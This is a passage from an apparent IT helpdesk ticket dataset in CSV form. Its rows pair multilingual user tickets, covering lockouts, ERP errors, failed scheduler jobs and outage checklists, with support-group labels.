lumia 950 and now the emails are not synchronized._x000D_ +_x000D_ +will be available in the afternoon, just in case you need me._x000D_ +_x000D_ +best ",GRP_0 +probleme mit schichtplanung \xpugntjv zcaermdt probleme mit schichtplanung \xpugntjv zcaermdt,GRP_24 +"sales order 35944817: committed date = sunday hello it,_x000D_ +_x000D_ +please check, why the system allows a sundaycommitted date._x000D_ +_x000D_ +",GRP_13 +"your company guest account credentials wie kann ich die gäste freischalten ?_x000D_ +_x000D_ +mit freundlichen grüßen i kind ",GRP_0 +"job Job_1388 failed in job_scheduler at: 08/24/2016 02:44:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1388 failed in job_scheduler at: 08/24/2016 02:44:00",GRP_9 +"not able to open powerpoint _x000D_ +_x000D_ +received from: tpflxnhz.bdjiosrp@gmail.com_x000D_ +_x000D_ +hi it helpdesk,_x000D_ +_x000D_ +i am not able to open powerpoint slides. when asked to repair, there is an error message after clicking on ""repair"". please help._x000D_ +_x000D_ +[cid:image001.png@01d1fe14.3da01f40]_x000D_ +_x000D_ +[cid:image002.png@01d1fe14.3da01f40]_x000D_ +_x000D_ +_x000D_ +",GRP_0 +probleme mit archiving_tool\bfqnvezs vwkasnxe probleme mit archiving_tool\bfqnvezs vwkasnxe,GRP_24 +probleme mit erpgui \sqlmtixr urhbvfgd probleme mit erpgui \sqlmtixr urhbvfgd,GRP_24 +probleme mit java \xmlbfjpg yegzbvru probleme mit java \xmlbfjpg yegzbvru,GRP_24 +"error log on vpn server _x000D_ +_x000D_ +received from: nbdljruw.axcrspyh@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +i can not log in on vpn server. please reset my password._x000D_ +_x000D_ +_x000D_ +",GRP_0 +"request for access to server HostName_1036 and HostName_1039 (xkjuigsc nrzykspt and quality) with respect to ticket_no1543729, i have received an access from security team but when i open data designer application receiving an error as attached to this incident. + +i have checked with mohgrtyan's rds session for dev bods and the data designer is working fine in his session. hence, request assist at an earliest as this access is required for my kt to our upcoming project. + +could you please help on this request?",GRP_2 +ticket update on ticket_no1544198 from wqfzjycu omleknjd ticket update on ticket_no1544198 from wqfzjycu omleknjd,GRP_0 +"please move stock from sales order to unrestricted stock_mm# 7318995 = 40 pcs. please move stock from sales order to unrestricted stock_mm# 7318995 = 40 pcs. due to csr is not allowed to do stock movement. kindly help and advise back to us aerp., ",GRP_6 +messsgeraete alkoana pdf datein kann nicht gedureckt werden messsgeraete alkoana pdf datein kann nicht gedureckt warden. pdf datei kann nicht erstellt werden.,GRP_42 +account lock out ; ad account lock out ; ad,GRP_0 +"engineering_tool, business_client, vpn and engineering_tool issue engineering_tool, business_client, vpn and engineering_tool issue",GRP_0 +engineering tool loin engineering tool loin,GRP_0 +outlook is prompting for passwords again & again outlook is prompting for passwords again & again ,GRP_0 +"need your support + +received from: ehfvwltg.eakjbtoi@gmail.com + +hello， + +material no： +6380772 + +6380773 + +6205289 + +6205222 + +6205223 + +6205282 + +6719653 + +4003367 + +4003579 + +4003535 + + +can not use in purchasing , please help. + + + + +ehfvwltg eakjbtoi +analyst supply planning +e-mail: ehfvwltg.eakjbtoi@gmail.com + + + +本讯息仅供指定的接收人使用，其中可能包含适用法律项下特许的、保密的和禁止披露的内容。除指定的接收人外，严禁其他任何人传播、分发或复制本讯息。如果您误收到本讯息，请通知发件人并将讯息删除。 +[ +select the following link to view the disclaimer in an alternate language. + + + +本讯息仅供指定的接收人使用，其中可能包含适用法律项下特许的、保密的和禁止披露的内容。除指定的接收人外，严禁其他任何人传播、分发或复制本讯息。如果您误收到本讯息，请通知发件人并将讯息删除。 +[ +select the following link to view the disclaimer in an alternate language. ",GRP_29 +" wifi for company guest issue in apac.refer :inc1541551 it,_x000D_ +_x000D_ +please kindly help resolve this ticket again. wifi for company guest very slowly. please advise the solution to fix it._x000D_ +by the way, please find attached wifi package in apac office that domestic 10 mbps, international 2 mbps. (users about 20 pax in office)_x000D_ +please kindly suggestion if need package change for i can check other packages with local internet provider vendor._x000D_ +_x000D_ +",GRP_4 +"received call , hold music was playing on other side and disconnected. received call , hold music was playing on other side and disconnected.",GRP_0 +"job Job_3028 failed in job_scheduler at: 08/24/2016 00:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3028 failed in job_scheduler at: 08/24/2016 00:02:00",GRP_8 +"job Job_3028 failed in job_scheduler at: 08/24/2016 00:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3028 failed in job_scheduler at: 08/24/2016 00:02:00",GRP_8 +"job Job_3028 failed in job_scheduler at: 08/24/2016 00:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3028 failed in job_scheduler at: 08/24/2016 00:02:00",GRP_8 +"job Job_3028 failed in job_scheduler at: 08/24/2016 00:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3028 failed in job_scheduler at: 08/24/2016 00:02:00",GRP_8 +"job Job_3028 failed in job_scheduler at: 08/24/2016 00:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3028 failed in job_scheduler at: 08/24/2016 00:02:00",GRP_8 +"price error between goods receipt and po in SID_34 -urgent _x000D_ +_x000D_ +received from: tuqrvowp.fxmzkvqo@gmail.com_x000D_ +_x000D_ +dear team,_x000D_ +_x000D_ +in erp SID_34 module. we have two errors between goods receipt and po for po no 5616658599\5616715766_x000D_ +po no_x000D_ +_x000D_ +po net price_x000D_ +_x000D_ +po quantity_x000D_ +_x000D_ +po price_x000D_ +_x000D_ +goods receipt price_x000D_ +_x000D_ +5616658599_x000D_ +_x000D_ +256.41_x000D_ +_x000D_ +3_x000D_ +_x000D_ +769.23_x000D_ +_x000D_ +900_x000D_ +_x000D_ +5616715766_x000D_ +_x000D_ +2641.51_x000D_ +_x000D_ +1_x000D_ +_x000D_ +2641.51_x000D_ +_x000D_ +2393.16_x000D_ +_x000D_ +_x000D_ +usually, po price and goods receipt price are the same price. but these two cases is not._x000D_ +please help to have a check the reason. ",GRP_29 +account locked out ; password expired account locked out ; password expired,GRP_0 +no response from other side no response from other side,GRP_0 +erp login account is locked requesting to unlock erp login account,GRP_0 +"job Job_3028 failed in job_scheduler at: 08/23/2016 22:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3028 failed in job_scheduler at: 08/23/2016 22:02:00",GRP_8 +email address not picking up automatic email address not picking up automatic ,GRP_0 +"would you please help change the email of shipping notification for customer 81956102,70213753,81583828 to 13332407521@1 from: north service +sent: wednesday, august 24, 2016 6:43 am +to: nwfodmhc exurcwkm +subject: tru : 答复: 出货单的邮件修改 + +hello help, + +would you please help change the email of shipping notification for customer 81956102,70213753,81583828 to 13332407521@163.com + +yandy pan +customer experience apac north team +north.service@company.com + +肯纳飞硕金属（上海）有限公司 +上海市浦东新区金桥出口加工区金豫路750号 +邮编：200126 +",GRP_18 +unable to login to erp SID_34 unable to login to erp SID_34,GRP_0 +"pls help to create delivery note for sto 4908029423 _x000D_ +_x000D_ +received from: gjtyswkb.dpvaymxr@gmail.com_x000D_ +_x000D_ +dear it,_x000D_ +_x000D_ +would you pls help to create delivery note for sto 5019130534,for something error we unable to create, it's urgent for plant_298. ",GRP_6 +涂层、管丝车间电话故障 涂层、管丝车间电话故障，40634943、39523835,GRP_48 +网络不通 网络不通，右下角网络图标显示未连接到网络。,GRP_48 +"inc1544491 fwd: collaboration_platform _x000D_ +_x000D_ +received from: mdbegvct.dbvichlg@gmail.com_x000D_ +_x000D_ +i tried opening a discount on my phone and it appears to want me to download this ap on my phone. is that ok?_x000D_ +_x000D_ +",GRP_0 +"ms excel file not opening -error procted view -file hangs. ms excel file not opening -error procted view -file hangs._x000D_ +-connected to the user system using teamviewer._x000D_ +-unchecked the proctected view option._x000D_ +-caller confirmed that he was able to ope the excel files now._x000D_ +-issue resolved._x000D_ +",GRP_0 +"this morning i could not log in to my computer so, please lock out my computer. this morning i could not log in to my computer so, please lock out my computer._x000D_ +id omokam_x000D_ +ps mizumoto2_x000D_ +",GRP_0 +"user unable to hotel wi-fi user unable to hotel wi-fi _x000D_ +-advised the user to shut down the pc for 30 sec and restart the device._x000D_ +-opened network and shatryung center and enabled the wi-fi connection._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"symantec endpoint encryption (see) agent deployment _x000D_ +_x000D_ +received from: hkrecpfv.kgwpbexv@gmail.com_x000D_ +_x000D_ +hello. i don't believe my computer has downloaded the new symantec endpoint encryption (see) agent. should i be concerned yet? the received the email about it almost a month ago._x000D_ +_x000D_ +_x000D_ +",GRP_65 +"wfnbtpkg ixecamwrs email : inplant_843772 + +received from: oetlgbfw.bsctrnwp@gmail.com + +i had marftgytins emails being filtered to myself and it was removed + +i still have emails being sent to marftgytin instead of myself and i need his emails reset up in my outlook + +dthyan matheywtyuews +sales manager gl2 +oetlgbfw.bsctrnwp@gmail.com + + + +",GRP_26 +"job Job_1953d running longer than 30 minutes kirtyled and rerun received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1953d failed in job_scheduler at: 08/23/2016 17:29:00",GRP_6 +"erp login SID_34 missing. erp login SID_34 missing._x000D_ +-connected to the user system using teamviewer._x000D_ +-configured the erp SID_34 on the user pc._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +erp SID_39 account unlock erp SID_39 account unlock,GRP_0 +"solidworks simulation hi,_x000D_ +_x000D_ +we request you to provide the details/support to beacon india who is providing technical support for solidworks usage at msg design. _x000D_ +_x000D_ +_x000D_ +",GRP_19 +unable to access sales and markhtyeting tab unable to access sales and markhtyeting tab,GRP_0 +"skype screen share issue when shatryung my screen the other person is only seeing my mouse error and a beshryu screen. whenever i give them access to my machine, the view appears. please advise how to correct, as i do not want to give everyone access to my pc in order to have a screen share. ",GRP_0 +"receiving the following notification in erp-SID_34 my inbox is being overwhelmed with notification of a write error. these appear to be related to south_amerirtca n-fe. my userid is affiliated with an n-fe transaction, see attached screenshot",GRP_10 +"errror submitting discount request form in collaboration_platform _x000D_ +_x000D_ +received from: zfburidj.jmilguev@gmail.com_x000D_ +_x000D_ +hi there - get the following error when trying to submit this request. can you please look into this for me.- markhty_x000D_ +_x000D_ +_x000D_ +[cid:image001.png@01d1fd58.19c782f0]_x000D_ +_x000D_ +_x000D_ +",GRP_0 +"power outage : cantabria site is hard down at 3:33 pm et on 08/23. no backup circuit for the site. what type of outage: _x____network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? __no_______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ___3:33 pm et on 08/23___________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __no ____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ______no__ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___na________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +unable to load outlook unable to load outlook,GRP_0 +request to reset microsoft online services password for mdbegvct.dbvichlg@gmail.com request to reset microsoft online services password for mdbegvct.dbvichlg@gmail.com,GRP_0 +"help to change the windows password using password_management_tool password tool. help to change the windows password using password_management_tool password tool._x000D_ +-connected to the user system using teamviewer._x000D_ +-help the user login to the password_manager_tool password tool and change the passwords._x000D_ +-help the user to sync the psswords to the company network._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +blank call // no number // no warehouse_tool blank call // no number // no warehouse_tool,GRP_0 +"erp plm - change bom plant_248 please, change in mass, the mm below at plant_248_x000D_ +_x000D_ +from to_x000D_ +6092264 5981083_x000D_ +6092266 5981084_x000D_ +6092268 5981085_x000D_ +6092269 5981086_x000D_ +_x000D_ +",GRP_45 +"message:HostName_1147.company.com.is connected? is not connected received reporting_tool alert at 2:53 pm on 08/23 et:_x000D_ +_x000D_ +HostName_1147.company.com.is connected? is not connected",GRP_8 +"employee owned mobility agreement _x000D_ +_x000D_ +received from: oqvwgnkc.gkjylpzx@gmail.com_x000D_ +_x000D_ +hello. i need help getting my phone linked with email and skype. please see the attached_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_0 +"stock transfer order errors - pricing and transfer pricing user is attempting to create a stock transfer order (#5019143070) in erp for the following situations and is receiving the errors below:_x000D_ +_x000D_ +sender reciever material created quantity requsted quantity sto number error code_x000D_ +plant_105 plant_101 2191584 1 error in net price calculation, item 000001 (please correct)_x000D_ +plant_105 plant_101 2355391 3 please enter net price_x000D_ +_x000D_ +could someone please review the rqfhiong zkwfqagbs and pricing to see why the errors are being received by the analyst creating the sto? an average customer net price (vk13 - zttf) exists for 2191584 so there should be no error. no average customer net price exists for 2355391 so the system should automatically simulate a price._x000D_ +_x000D_ +",GRP_29 +"erp login error message error message states ""the specified path does not exist""",GRP_0 +"cannot get access to email ext.117 +since yesterday i'm unable to get on microsoft email, usually i go on the km home page then i go to my bookmarkhty to where the email page is, it keeps loading and doesn't go to the email page",GRP_0 +import device type settings from s12 to d & q system import device type settings from s12 to d & q system,GRP_14 +"collaboration_platform login issue. ess login issue_x000D_ +-verified user details.(employee# & manager name)_x000D_ +-checked the user name in ad and reset the password._x000D_ +-advised the user to login and check._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +erp SID_34 account unlock erp SID_34 account unlock,GRP_0 +"the same material was posted in two different plants. display material document 5042203567. mov. 541 mm#3475529 sometimes we need to send some material to the vendors for manufacturing different kind of new itens to company. in this case, when we sent the mm# 4586630 to the external vendor, the system make two different moviments. one at plant plant_248 and another at plant plant_250. because of this problem, we cannot create a nota financial_toolcal and we cannot reverse the moviment.",GRP_13 +"job SID_53hotf failed in job_scheduler at: 08/23/2016 13:16:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_53hotf failed in job_scheduler at: 08/23/2016 13:16:00",GRP_1 +unlocked erp password unlocked erp password,GRP_0 +"job SID_41hotf failed in job_scheduler at: 08/23/2016 12:45:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_41hotf failed in job_scheduler at: 08/23/2016 12:45:00",GRP_1 +"job SID_53hotf failed in job_scheduler at: 08/23/2016 12:42:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_53hotf failed in job_scheduler at: 08/23/2016 12:42:00",GRP_1 +"job SID_44hotf failed in job_scheduler at: 08/23/2016 12:43:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_44hotf failed in job_scheduler at: 08/23/2016 12:43:00",GRP_1 +user called in for an update user called in for an update,GRP_0 +"login + password very urgent for esprit _x000D_ +_x000D_ +received from: ufzxpadv.hnxmotwu@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i would like a login and password for our partner from dp technology for tomorrow ?_x000D_ +_x000D_ +is it possible to create it aerp?_x000D_ +_x000D_ +",GRP_0 +"need to create a partial delivery today on so 35645376 which is structured using the higher level linkage. when creating the delivery note it reflects the correct quantities, but when saving it defaults to full quantities. attached is a listing of what line items and quantities are needed. shipment needs to be made to day. customer is in need. ",GRP_18 +"lead form component not working in prod i have just discovered the lead forms for both road king and beyond evolution are not working. both pages can be found by clicking the banners on the english homepage. then try clicking the call to action buttons (see attached). also there is a page in qa i used for uacyltoe hxgayczeing, it is also not working._x000D_ +_x000D_ +#/content/company/en/recs-uacyltoe hxgaycze/responsive-recs.html_x000D_ +_x000D_ +",GRP_51 +"computer loading temp profile whenever user is logging in with his id and password computer loading temp profile whenever user is logging in with his id and password._x000D_ +_x000D_ +user id - bhergtyemm",GRP_19 +"erp plm - engineering tool programdnty start error post login screen receiving attached error_x000D_ +_x000D_ +reinstalled java to the recommended version (32 and 64 bit)_x000D_ +deleted engineering tool install from programdnty data folder and retried install, still no go._x000D_ +_x000D_ +verified login ability to SID_34 system with same id and password._x000D_ +_x000D_ +please contact ertnhxkf gwjibhxm to get access to this new pc",GRP_11 +"printer not kicking out delivery notes _x000D_ +_x000D_ +received from: rtpmlwnk.unpambrv@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +i work at the usa, il plant. when we enter orders in erp they would always kick out the ""delivery note"". for some reason, they have stopped printing. raifstow gfeymtql and i both are not receiving the delivery notes for the reconditioning orders. i have a screen shot below that shows that i am set up for printer output device ""qv20 "". can you help to make our delivery notes ""automatic"" like previously?_x000D_ +_x000D_ +",GRP_18 +unable to launch hr_tool etime unable to launch hr_tool etime,GRP_0 +i cannot open a pptx file that was attached to an email. gives a repair error. i cannot open a pptx file that was attached to an email. gives a repair error. ,GRP_3 +unable to see fioghtna wightygins emails unable to see fioghtna wightygins emails,GRP_0 +vip 2: unable to login to the hub vip 2: unable to login to the hub,GRP_0 +frequent account lockout frequent account lockout,GRP_0 +"create delivery note 2053495 / plant plant_120 / slc 0088 / apo error / urgent eilt _x000D_ +_x000D_ +received from: tkuivxrn.urdgitsv@gmail.com_x000D_ +_x000D_ +help,_x000D_ +_x000D_ +plaese create delivery note for material 2053495, to be shipped to plant_223._x000D_ +_x000D_ +please also advice why apo does not work correct and what corrective actions are required._x000D_ +_x000D_ +franhtyu,_x000D_ +_x000D_ +fyi, what reason caused this error? did you investigate?_x000D_ +_x000D_ +kind ",GRP_6 +ticket update inplant_852304 ticket update inplant_852304,GRP_0 +unable to login to dell 7350 tablet unable to login to dell 7350 tablet,GRP_0 +"internet through telecom_vendor_3 now working _x000D_ +_x000D_ +received from: ywfhcuki.dajkmxcl@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i always get the error of limited connectivity even after having good network of telecom_vendor_3._x000D_ +_x000D_ +_x000D_ +[cid:image001.png@01d1fd75.1e9817a0]_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_0 +unable to download a software unable to download a software,GRP_0 +"access to drawings name:mikhghytr karaffa +language: +browser:microsoft internet explorer +email:vfrdxtqw.jfbmsenz@gmail.com +customer number: +telephone: +summary:requesting drawing access in erp modeling majetkm",GRP_0 +"password reset from: nwfodmhc exurcwkm _x000D_ +sent: tuesday, august 23, 2016 4:35 pm_x000D_ +to: mkjubdti fbusqrlt_x000D_ +cc: tiyhum kuyiomar_x000D_ +subject: request to reset microsoft online services password for mkjubdti.fbusqrlt@gmail.com_x000D_ +_x000D_ +hi rodny_x000D_ +_x000D_ +please change your password in _x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_0 +ticket update on inplant_853211 ticket update on inplant_853211,GRP_0 +"re: please take this survey related to ticket_no0432312 _x000D_ +_x000D_ +received from: cowqyjzm.fzsxgapt@gmail.com_x000D_ +_x000D_ +has this been remapped?_x000D_ +_x000D_ +",GRP_0 +"delivery notes has generated delivery-with wrong delivery pieces delivery notes has generated delivery-with wrong delivery pieces_x000D_ +_x000D_ +one of the colleague generated dn with actuall pieces 450 pcs. with mm 3332059_x000D_ +but when the delivery note was printed we notices that it shows the deliverable pieces as 450 pcs. instead of 400 pcs._x000D_ +erp should not allow this??_x000D_ +there was earlier kind of issue, reference ticket inc1188203_x000D_ +",GRP_18 +unable to log in to skype unable to log in to skype,GRP_0 +german call // caller disconnected after hearing english german call // caller disconnected after hearing english,GRP_0 +outlook not responding outlook not responding ,GRP_0 +software installation software installation,GRP_0 +"the caller id display on users desk phone does not display correctly from: cwuospin nbhoxqpe +sent: tuesday, august 23, 2016 5:19 pm +to: chukhyt mcnerny; -facility; nwfodmhc exurcwkm +subject: amar re: desk phone + +help desk, + +please see chukhyt's request + +sincerely, + +stanfghyley guhtykes, fmp +facilities manager, world headquarters +cwuospin.nbhoxqpe@gmail.com +",GRP_37 +need to add additional mailboxes need to add additional mailboxes,GRP_0 +ticket_no1544198 - ticket update ticket_no1544198 - ticket update,GRP_0 +"job Job_1314 failed in job_scheduler at: 08/23/2016 08:45:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1314 failed in job_scheduler at: 08/23/2016 08:45:00",GRP_9 +erp connections issue erp connections issue,GRP_0 +"reset the password for gülperi aköz on erp / production / hcm on erp SID_34, SID_37 i want to reset my password.",GRP_0 +kiosk user - account expired // onjzqptl kgxmisbj kiosk user - account expired // onjzqptl kgxmisbj,GRP_0 +account unlock account unlock,GRP_0 +"cannot open attachments in owa, shows a white screen when opening. cannot open attachments in owa, shows a white screen when opening. ",GRP_3 +cannot access crm cannot access crm - my contact info is ,GRP_0 +logon balancing error on erp logon balancing error on erp ,GRP_0 +"performance improvement for supervisor dashbankrd performance improvement for supervisor dashbankrd._x000D_ +_x000D_ +",GRP_41 +reset the password for chkmejsn lvidgknc on erp / production / erp please unlock my erp account. i know the password.,GRP_0 +"skype will not let me sign in. says ""the address you typed is not valid"" skype will not let me sign in. says ""the address you typed is not valid""",GRP_0 +erp SID_34 password reset. erp SID_34 password reset.,GRP_0 +"job SID_24arc1 failed in job_scheduler at: 08/23/2016 07:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_24arc1 failed in job_scheduler at: 08/23/2016 07:02:00",GRP_8 +"user id locked _x000D_ +_x000D_ +received from: bqyfwclo.osjklifb@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +could you please unlock user id teufeae (upiyobvj lwohuizr)._x000D_ +_x000D_ +our it hotline cannot be reached._x000D_ +_x000D_ +",GRP_0 +"job SID_30arc1 failed in job_scheduler at: 08/23/2016 06:50:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_30arc1 failed in job_scheduler at: 08/23/2016 06:50:00",GRP_8 +"collaboration_platform cloud ordner gelöscht + +received from: uwncfovt.vxjbunfi@gmail.com + +guten tag, + +ganz wichtig! meine kompletten daten!! sind gelöscht! selbst in der cloud wurde der ordner „vw team"" komplett gelöscht! +bitte den „vw ordner"" wiederherstellen mit datum von gestern! wenn das geht! ganz wichtig! + +mit freundlichen grüßen +uwncfovt vxjbunfi + +sales engineer +mail: uwncfovt.vxjbunfi@gmail.com + +company deutschland gmbh +geschäftsführer: rfwlsoej yvtjzkaw, phvkowml azbtkqwx, naruedlk mpvhakdq + + +diese mitteilung ist einzig und allein für die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwürdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfältigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfänger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und löschen sie diese mitteilung. +[#+company/posts> [ +select the following link to view the disclaimer in an alternate language. ",GRP_0 +"job SID_23arc1 failed in job_scheduler at: 08/23/2016 06:31:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_23arc1 failed in job_scheduler at: 08/23/2016 06:31:00",GRP_8 +"job Job_711 failed in job_scheduler at: 08/23/2016 06:27:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_711 failed in job_scheduler at: 08/23/2016 06:27:00",GRP_8 +"job Job_2021a failed in job_scheduler at: 08/23/2016 06:20:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2021a failed in job_scheduler at: 08/23/2016 06:20:00",GRP_6 +"job SID_23arc2 failed in job_scheduler at: 08/23/2016 06:16:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_23arc2 failed in job_scheduler at: 08/23/2016 06:16:00",GRP_8 +"need erp access to user vv180822 for erp incident system (SID_34, SID_37, SID_39, SID_38, hrp, other ?): SID_21 & SID_1_x000D_ +_x000D_ +enter user id of user having the issue: vv180822_x000D_ +_x000D_ +transaction code(s) the user needs or was working with: z:plm_general, z:plm_change_coordinator, spro_x000D_ +_x000D_ +describe the issue: can you please create an user account for the erp incident 263306 / 2016 in SID_21 & SID_1. please set the user type to dialog, since erp will need business_client access to create er. please open the wts and http connection also. they would need an active directory account and please give access to roles z:plm_general, z:plm_change_coordinator, spro_x000D_ +_x000D_ +if you are getting a ""not authorized"" message, recreate the condition then do /nsu53 and attach result to the ticketing_tool ticket. external erp user_x000D_ +_x000D_ +provide access the same as this other user: gthydanp",GRP_2 +"job Job_714 failed in job_scheduler at: 08/23/2016 06:11:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_714 failed in job_scheduler at: 08/23/2016 06:11:00",GRP_8 +"please run job jb_cust_db_file. please assign ticket to ebusaar munnangi hello,_x000D_ +_x000D_ +could you please run the job jb_cust_db_file_x000D_ +_x000D_ +",GRP_20 +"cross company in erp not allowed on transactions f-43 and f-60, user can no longer process transactions. please assist in restoring this.",GRP_10 +"npc 311104334 mm6283517 hello it service, +my manager serthyei needs to forward the pthsqroz moedyanvess, all the quote drawings are being created and linked to the mm#s as our standard procedure. +for un known reason, this mm 7394628 is not showing the linked drawing. moreover, serthyei was not able to add the document number manually. +please fix this, we need to forward the npc towards successful manufacturing. + +crtgyerine: vlymsnej.whlqxcst@gmail.com +serthyei: ueywbzks.gepstmfl@gmail.com +",GRP_11 +"erp hcm: zpd_upload_time + +received from: jywvemun.qngschtz@gmail.com + +erp team, +we need to update the report zpd_upload_time for erp hcm +because of the new 8 digits employee numbers. +please see below. +srgtycha + + + +von: jfcrdavy sxpotjlu +gesendet: dienstag, 23. august 2016 11:10 +an: weszfyok fbadnjhu ; jywvemun qngschtz +cc: pesylifc wnyierbu ; lixwgnto krutnylz ; puxsvfwr cwkjruni +betreff: aw: inc1530735 -- comments added + +hallo zusammen, + +im erp upload-programdntym zpd_upload_time muss die pernr ebenfalls von 6 stellen +auf die max. länge von 8 stellen angepasst werden: +[cid:image001.png@01d1fd2e.708348b0] + +bitte entsprechend veranlassen. + +mit freundlichen grüßen + + +jfcrdavy sxpotjlu + + + + +diese mitteilung ist einzig und allein für die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwürdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfältigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfänger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und löschen sie diese mitteilung. +[#+company/posts> [ +select the following link to view the disclaimer in an alternate language. ",GRP_20 +account locked. account locked.,GRP_0 +"job Job_3028 failed in job_scheduler at: 08/23/2016 05:21:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3028 failed in job_scheduler at: 08/23/2016 05:21:00",GRP_12 +"fehler wie gehabt - inplant_852536 datenbanken lassen sich noch nicht öffnen_x000D_ +habe pc zuvor neugestartet",GRP_12 +zugriff auf betriebsmittedatenbank ce_cs funktioniert nicht!!! zugriff auf betriebsmittedatenbank ce_cs funktioniert nicht!!!,GRP_0 +"for error message ""inwarehouse_tool document still contails message"" can't posting in t-code miro. error message is ""inwarehouse_tool document still contains message"" about po 5616637384,4505601201",GRP_10 +"job Job_3028 failed in job_scheduler at: 08/23/2016 04:34:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3028 failed in job_scheduler at: 08/23/2016 04:34:00",GRP_45 +"def. montitor wechseln bitte den def. monitor von der lüftungssteuerung im heizraum tauschen. _x000D_ +kontakt : rössler christgrytian -189",GRP_42 +"access requited for vl02n for post goods issues _x000D_ +_x000D_ +received from: wrelsfqa.qfwosjkh@gmail.com_x000D_ +_x000D_ +good morning_x000D_ +_x000D_ +please can you usa access to myself and gydtvnlw miepcwzf to enable us to do the post goods issues for return deliveries. nieghjyukea for angelique and coetzk for myself._x000D_ +_x000D_ +kind ",GRP_2 +outlook hangs / does not open outlook hangs / does not open,GRP_0 +"circuit outage vogelfontein :company-eu-zaf-vogelfontein-dmvpn-1941 down since 8/23/2016 2:56 am est (site up on primary) what type of outage: _____network ___x__circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? __no_______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _______8/23/2016 2:56 am est_______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? __no_____ (yes/no/na) company power ___yes______ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? __no_____ (yes/no/na) company maint____no____ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? _____yes___ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ___email______ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___yes________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___na________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _____yes__ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) ________na_________________ _x000D_ +_x000D_ +12. notified gsc ___yes_____ (yes/no/na) cert started ?____na____ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"job Job_512 failed in job_scheduler at: 08/23/2016 03:33:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_512 failed in job_scheduler at: 08/23/2016 03:33:00",GRP_8 +"job Job_495 failed in 